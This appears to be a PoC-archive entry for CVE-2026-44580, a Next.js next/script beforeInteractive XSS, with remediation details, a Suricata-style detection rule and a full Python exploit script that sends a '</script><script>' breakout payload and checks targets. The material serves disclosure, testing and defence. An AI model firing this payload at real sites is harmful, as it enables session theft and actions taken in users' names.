PoC Archive PoC Archive
Medium CVE-2026-44580 patched

Next.js beforeInteractive Script XSS (CVE-2026-44580)

by dwisiswant0 · 2026-05-17

CVSS 6.1/10
Severity
Medium
CVE
CVE-2026-44580
Category
web
Affected product
Next.js applications using next/script with strategy="beforeInteractive"
Affected versions
13.0.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44580
Categoryweb
SeverityMedium
CVSS Score6.1 (CVSSv3)
StatusWeaponized
TagsXSS, next/script, beforeInteractive, Next.js, App-Router, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js applications using next/script with strategy="beforeInteractive"
Versions Affected13.0.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44580 is an XSS vulnerability in Next.js next/script rendering for beforeInteractive scripts. Vulnerable versions serialize script props with JSON.stringify and inject them into inline HTML via dangerouslySetInnerHTML without safe HTML escaping for <, >, and related characters. If attacker-controlled input reaches script props (for example through forwarded query parameters into data-* fields), payloads can break out of the inline script context and execute arbitrary JavaScript in the victim origin. The issue is rated Medium (CVSS 6.1) and fixed in 15.5.16 / 16.2.5.


Vulnerability Details

Root Cause

Pre-patch Next.js generated inline bootstrap script content using plain JSON.stringify and inserted it directly in a <script> tag with dangerouslySetInnerHTML. Because this bypasses React’s normal escaping path, user-controlled values containing </script><script>... can terminate the current script block and create a new executable one.

Attack Vector

An attacker supplies crafted input that an application forwards into next/script beforeInteractive props (commonly id or data-* values). When the page is rendered, the malicious string is serialized into the inline script body without HTML-safe escaping, enabling script-breakout XSS.

Impact

Successful exploitation gives attacker-controlled JavaScript execution in the application’s origin. This can enable session theft, account actions on behalf of users, content tampering, and abuse of trusted browser context.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Next.js application on affected versions
Attacker:    Any host able to send crafted web requests
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44580_GHSA-gx5p-jg67-6x7h

python3 exploit.py
bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Start the vulnerable demonstration server.

    1
    
    python3 vulnerable-app/server.py --port 8080
    
  2. Execute the Python exploit against the target.

    1
    
    python3 exploit.py http://127.0.0.1:8080/
    
  3. Confirm script-breakout behavior using the shell PoC.

    1
    
    bash exploit.sh http://127.0.0.1:8080/
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
4
from exploit import run

exit_code = run("http://127.0.0.1:8080/")
print(exit_code)

Expected Output

[+] VULNERABLE -- raw </script> survived to the wire.
Payload (decoded): </script><script>window.__pwn=true;alert("VALIDATION_TOKEN")</script><x x="

Screenshots / Evidence

  • screenshots/ — add browser execution traces and response-body evidence if captured

Detection & Indicators of Compromise

</script><script>alert(...)</script>

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js beforeInteractive inline-script XSS attempt";
  content:"</script><script>"; http_client_body;
  sid:900044580; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16 or 16.2.5+
WorkaroundDo not pass untrusted input into next/script props, and sanitize values before rendering
Config HardeningEnforce strong output encoding guarantees and security testing around inline script generation

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

Issue notes indicate no known active exploitation at time of reporting.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-gx5p-jg67-6x7h -- Next.js next/script beforeInteractive XSS exploit.

Target spec: Next.js < 16.2.5 with any page that forwards user-controlled data
through `<Script strategy="beforeInteractive" {...rest}>` props (e.g. `id`,
`data-*`, `crossOrigin`, `nonce`-via-string-concat, etc.).

The pre-patch emitter JSON-stringifies the props into an inline <script> body
without HTML-escaping `<`, `>`, `&`, U+2028, U+2029. A `</script>...<script>`
sequence breaks out of the inline element at the HTML tokenizer level.

Usage:
    python3 exploit.py                       # spin up local mock + exploit
    python3 exploit.py http://target/path    # exploit a remote target

Exit codes:
    0  -- vulnerable
    1  -- patched
    2  -- network/empty response
    3  -- inconclusive
"""
import os
import shutil
import signal
import subprocess
import sys
import time
import urllib.parse
import urllib.request

# ---- ANSI colours ----------------------------------------------------------
class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-gx5p-jg67-6x7h  next/script beforeInteractive XSS" + C.X)
    print(C.CY + C.B + "  Patched in Next.js 16.2.5 (commit 66f6017f15)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def maybe_start_mock(port: int = 8080) -> subprocess.Popen | None:
    """Start the bundled vulnerable mock when no target is given."""
    here = os.path.dirname(os.path.abspath(__file__))
    server_py = os.path.join(here, "vulnerable-app", "server.py")
    if not os.path.exists(server_py):
        sys.exit(f"{C.R}[-] missing {server_py}{C.X}")
    proc = subprocess.Popen(
        [sys.executable, server_py, "--port", str(port)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def run(target: str | None) -> int:
    banner()

    proc: subprocess.Popen | None = None
    if not target:
        print(C.Y + "[*] no target supplied -> launching local mock on :8080" + C.X)
        proc = maybe_start_mock(8080)
        target = "http://127.0.0.1:8080/"

    # The XSS payload. Includes the VALIDATION_TOKEN placeholder so that
    # verify_vulnerability can substitute the runtime token and dynamically
    # confirm execution in a real headless browser.
    raw_payload = '</script><script>window.__pwn=true;alert("VALIDATION_TOKEN")</script><x x="'
    enc = urllib.parse.quote(raw_payload, safe="")
    url = f"{target.rstrip('/')}/?tid={enc}"

    print(f"{C.B}[*] Target URL:{C.X} {url}\n")

    try:
        with urllib.request.urlopen(url, timeout=10) as r:
            body = r.read().decode("utf-8", errors="replace")
    except Exception as e:
        print(C.R + f"[-] request failed: {e}" + C.X)
        return 2
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass

    print(C.B + "--- response (truncated) ---" + C.X)
    print("\n".join(body.splitlines()[:40]))
    print(C.B + "----------------------------" + C.X + "\n")

    # The actual XSS-relevant breakout is just literal `</script><script>` in
    # what should have been an inline script body. JSON-stringify escapes the
    # inner `"` to `\"`, but `<` `>` `&` are NOT JSON metacharacters, so they
    # survive verbatim. The HTML tokenizer then closes the inline next/script.
    needle = "</script><script>"
    escaped_marker = "\\u003c/script\\u003e\\u003cscript\\u003e"
    in_script_block = "(self.__next_s=self.__next_s||[]).push("

    # Be precise: look for the breakout INSIDE the __next_s push block (avoids
    # flagging legitimate <script>...</script> elements elsewhere on the page).
    push_idx = body.find(in_script_block)
    body_after_push = body[push_idx:] if push_idx != -1 else body

    if needle in body_after_push:
        print(C.G + C.B + "[+] VULNERABLE -- raw </script> survived to the wire." + C.X)
        print(C.G + "    The HTML tokenizer terminates the inline next/script element")
        print("    and the attacker payload runs as a brand-new <script>." + C.X)
        print()
        print(C.G + f"    Payload (decoded): {raw_payload}" + C.X)
        print()
        print(C.Y + "[i] Hand this URL to verify_vulnerability (type=xss) to dynamically" + C.X)
        print(C.Y + "    confirm with VALIDATION_TOKEN substitution." + C.X)
        return 0
    if escaped_marker in body:
        print(C.R + "[-] PATCHED -- htmlEscapeJsonString is rewriting < > & to \\uXXXX." + C.X)
        return 1

    print(C.Y + "[?] inconclusive -- payload neither verbatim nor \\u003c-escaped." + C.X)
    return 3


if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else None
    sys.exit(run(target))